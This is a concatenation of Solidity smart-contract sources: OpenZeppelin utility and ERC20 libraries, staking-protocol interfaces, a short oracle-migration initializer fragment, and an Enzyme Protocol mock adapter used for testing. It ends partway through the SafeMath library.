function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.5;
/**
* @dev Interface of the OwnablePausableUpgradeable and OwnablePausable contracts.
*/
interface IOwnablePausable {
/**
* @dev Function for checking whether an account has an admin role.
* @param _account - account to check.
*/
function isAdmin(address _account) external view returns (bool);
/**
* @dev Function for assigning an admin role to the account.
* Can only be called by an account with an admin role.
* @param _account - account to assign an admin role to.
*/
function addAdmin(address _account) external;
/**
* @dev Function for removing an admin role from the account.
* Can only be called by an account with an admin role.
* @param _account - account to remove an admin role from.
*/
function removeAdmin(address _account) external;
/**
* @dev Function for checking whether an account has a pauser role.
* @param _account - account to check.
*/
function isPauser(address _account) external view returns (bool);
/**
* @dev Function for adding a pauser role to the account.
* Can only be called by an account with an admin role.
* @param _account - account to assign a pauser role to.
*/
function addPauser(address _account) external;
/**
* @dev Function for removing a pauser role from the account.
* Can only be called by an account with an admin role.
* @param _account - account to remove a pauser role from.
*/
function removePauser(address _account) external;
/**
* @dev Function for pausing the contract.
*/
function pause() external;
/**
* @dev Function for unpausing the contract.
*/
function unpause() external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.5;
// This interface is designed to be compatible with the Vyper version.
/// @notice This is the Ethereum 2.0 deposit contract interface.
/// For more information see the Phase 0 specification under https://github.com/ethereum/eth2.0-specs
/// https://github.com/ethereum/eth2.0-specs/blob/dev/solidity_deposit_contract/deposit_contract.sol
interface IDepositContract {
/// @notice A processed deposit event.
event DepositEvent(
bytes pubkey,
bytes withdrawal_credentials,
bytes amount,
bytes signature,
bytes index
);
/// @notice Submit a Phase 0 DepositData object.
/// @param pubkey A BLS12-381 public key.
/// @param withdrawal_credentials Commitment to a public key for withdrawals.
/// @param signature A BLS12-381 signature.
/// @param deposit_data_root The SHA-256 hash of the SSZ-encoded DepositData object.
/// Used as a protection against malformed input.
function deposit(
bytes calldata pubkey,
bytes calldata withdrawal_credentials,
bytes calldata signature,
bytes32 deposit_data_root
) external payable;
/// @notice Query the current deposit root hash.
/// @return The deposit root hash.
function get_deposit_root() external view returns (bytes32);
/// @notice Query the current deposit count.
/// @return The deposit count encoded as a little endian 64-bit number.
function get_deposit_count() external view returns (bytes memory);
}
|
* @dev See {IOracles-initialize}./ migrate data from previous Oracles contract
|
function initialize(
address admin,
address oraclesV1,
address _rewardEthToken,
address _pool,
address _poolValidators,
address _merkleDistributor
)
external override initializer
{
require(admin != address(0), "Pool: invalid admin address");
require(_rewardEthToken != address(0), "Pool: invalid RewardEthToken address");
require(_pool != address(0), "Pool: invalid Pool address");
require(_poolValidators != address(0), "Pool: invalid PoolValidators address");
require(_merkleDistributor != address(0), "Pool: invalid MerkleDistributor address");
__OwnablePausableUpgradeable_init(admin);
rewardsNonce._value = IOraclesV1(oraclesV1).currentNonce().add(1000);
uint256 oraclesCount = AccessControlUpgradeable(oraclesV1).getRoleMemberCount(ORACLE_ROLE);
for (uint256 i = 0; i < oraclesCount; i++) {
address oracle = AccessControlUpgradeable(oraclesV1).getRoleMember(ORACLE_ROLE, i);
_setupRole(ORACLE_ROLE, oracle);
emit OracleAdded(oracle);
}
rewardEthToken = IRewardEthToken(_rewardEthToken);
pool = IPool(_pool);
poolValidators = IPoolValidators(_poolValidators);
merkleDistributor = IMerkleDistributor(_merkleDistributor);
emit Initialized(rewardsNonce.current());
}
| 14,888,844
|
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// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../release/extensions/integration-manager/integrations/utils/AdapterBase.sol";
/// @title IMockGenericIntegratee Interface
/// @author Enzyme Council <[email protected]>
interface IMockGenericIntegratee {
function swap(
address[] calldata,
uint256[] calldata,
address[] calldata,
uint256[] calldata
) external payable;
function swapOnBehalf(
address payable,
address[] calldata,
uint256[] calldata,
address[] calldata,
uint256[] calldata
) external payable;
}
/// @title MockGenericAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Provides a generic adapter that:
/// 1. Provides swapping functions that use various `SpendAssetsTransferType` values
/// 2. Directly parses the _actual_ values to swap from provided call data (e.g., `actualIncomingAssetAmounts`)
/// 3. Directly parses values needed by the IntegrationManager from provided call data (e.g., `minIncomingAssetAmounts`)
contract MockGenericAdapter is AdapterBase {
address public immutable INTEGRATEE;
// No need to specify the IntegrationManager
constructor(address _integratee) public AdapterBase(address(0)) {
INTEGRATEE = _integratee;
}
function identifier() external pure override returns (string memory) {
return "MOCK_GENERIC";
}
function parseAssetsForMethod(bytes4 _selector, bytes calldata _callArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory maxSpendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
(
spendAssets_,
maxSpendAssetAmounts_,
,
incomingAssets_,
minIncomingAssetAmounts_,
) = __decodeCallArgs(_callArgs);
return (
__getSpendAssetsHandleTypeForSelector(_selector),
spendAssets_,
maxSpendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @dev Assumes SpendAssetsHandleType.Transfer unless otherwise specified
function __getSpendAssetsHandleTypeForSelector(bytes4 _selector)
private
pure
returns (IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_)
{
if (_selector == bytes4(keccak256("removeOnly(address,bytes,bytes)"))) {
return IIntegrationManager.SpendAssetsHandleType.Remove;
}
if (_selector == bytes4(keccak256("swapDirectFromVault(address,bytes,bytes)"))) {
return IIntegrationManager.SpendAssetsHandleType.None;
}
if (_selector == bytes4(keccak256("swapViaApproval(address,bytes,bytes)"))) {
return IIntegrationManager.SpendAssetsHandleType.Approve;
}
return IIntegrationManager.SpendAssetsHandleType.Transfer;
}
function removeOnly(
address,
bytes calldata,
bytes calldata
) external {}
function swapA(
address _vaultProxy,
bytes calldata _callArgs,
bytes calldata _assetTransferArgs
) external fundAssetsTransferHandler(_vaultProxy, _assetTransferArgs) {
__decodeCallArgsAndSwap(_callArgs);
}
function swapB(
address _vaultProxy,
bytes calldata _callArgs,
bytes calldata _assetTransferArgs
) external fundAssetsTransferHandler(_vaultProxy, _assetTransferArgs) {
__decodeCallArgsAndSwap(_callArgs);
}
function swapDirectFromVault(
address _vaultProxy,
bytes calldata _callArgs,
bytes calldata
) external {
(
address[] memory spendAssets,
,
uint256[] memory actualSpendAssetAmounts,
address[] memory incomingAssets,
,
uint256[] memory actualIncomingAssetAmounts
) = __decodeCallArgs(_callArgs);
IMockGenericIntegratee(INTEGRATEE).swapOnBehalf(
payable(_vaultProxy),
spendAssets,
actualSpendAssetAmounts,
incomingAssets,
actualIncomingAssetAmounts
);
}
function swapViaApproval(
address _vaultProxy,
bytes calldata _callArgs,
bytes calldata _assetTransferArgs
) external fundAssetsTransferHandler(_vaultProxy, _assetTransferArgs) {
__decodeCallArgsAndSwap(_callArgs);
}
function __decodeCallArgs(bytes memory _callArgs)
internal
pure
returns (
address[] memory spendAssets_,
uint256[] memory maxSpendAssetAmounts_,
uint256[] memory actualSpendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_,
uint256[] memory actualIncomingAssetAmounts_
)
{
return
abi.decode(
_callArgs,
(address[], uint256[], uint256[], address[], uint256[], uint256[])
);
}
function __decodeCallArgsAndSwap(bytes memory _callArgs) internal {
(
address[] memory spendAssets,
,
uint256[] memory actualSpendAssetAmounts,
address[] memory incomingAssets,
,
uint256[] memory actualIncomingAssetAmounts
) = __decodeCallArgs(_callArgs);
for (uint256 i; i < spendAssets.length; i++) {
ERC20(spendAssets[i]).approve(INTEGRATEE, actualSpendAssetAmounts[i]);
}
IMockGenericIntegratee(INTEGRATEE).swap(
spendAssets,
actualSpendAssetAmounts,
incomingAssets,
actualIncomingAssetAmounts
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../IIntegrationAdapter.sol";
import "./IntegrationSelectors.sol";
/// @title AdapterBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice A base contract for integration adapters
abstract contract AdapterBase is IIntegrationAdapter, IntegrationSelectors {
using SafeERC20 for ERC20;
address internal immutable INTEGRATION_MANAGER;
/// @dev Provides a standard implementation for transferring assets between
/// the fund's VaultProxy and the adapter, by wrapping the adapter action.
/// This modifier should be implemented in almost all adapter actions, unless they
/// do not move assets or can spend and receive assets directly with the VaultProxy
modifier fundAssetsTransferHandler(
address _vaultProxy,
bytes memory _encodedAssetTransferArgs
) {
(
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType,
address[] memory spendAssets,
uint256[] memory spendAssetAmounts,
address[] memory incomingAssets
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
// Take custody of spend assets (if necessary)
if (spendAssetsHandleType == IIntegrationManager.SpendAssetsHandleType.Approve) {
for (uint256 i = 0; i < spendAssets.length; i++) {
ERC20(spendAssets[i]).safeTransferFrom(
_vaultProxy,
address(this),
spendAssetAmounts[i]
);
}
}
// Execute call
_;
// Transfer remaining assets back to the fund's VaultProxy
__transferContractAssetBalancesToFund(_vaultProxy, incomingAssets);
__transferContractAssetBalancesToFund(_vaultProxy, spendAssets);
}
modifier onlyIntegrationManager {
require(
msg.sender == INTEGRATION_MANAGER,
"Only the IntegrationManager can call this function"
);
_;
}
constructor(address _integrationManager) public {
INTEGRATION_MANAGER = _integrationManager;
}
// INTERNAL FUNCTIONS
/// @dev Helper for adapters to approve their integratees with the max amount of an asset.
/// Since everything is done atomically, and only the balances to-be-used are sent to adapters,
/// there is no need to approve exact amounts on every call.
function __approveMaxAsNeeded(
address _asset,
address _target,
uint256 _neededAmount
) internal {
if (ERC20(_asset).allowance(address(this), _target) < _neededAmount) {
ERC20(_asset).safeApprove(_target, type(uint256).max);
}
}
/// @dev Helper to decode the _encodedAssetTransferArgs param passed to adapter call
function __decodeEncodedAssetTransferArgs(bytes memory _encodedAssetTransferArgs)
internal
pure
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_
)
{
return
abi.decode(
_encodedAssetTransferArgs,
(IIntegrationManager.SpendAssetsHandleType, address[], uint256[], address[])
);
}
/// @dev Helper to transfer full contract balances of assets to the specified VaultProxy
function __transferContractAssetBalancesToFund(address _vaultProxy, address[] memory _assets)
private
{
for (uint256 i = 0; i < _assets.length; i++) {
uint256 postCallAmount = ERC20(_assets[i]).balanceOf(address(this));
if (postCallAmount > 0) {
ERC20(_assets[i]).safeTransfer(_vaultProxy, postCallAmount);
}
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `INTEGRATION_MANAGER` variable
/// @return integrationManager_ The `INTEGRATION_MANAGER` variable value
function getIntegrationManager() external view returns (address integrationManager_) {
return INTEGRATION_MANAGER;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
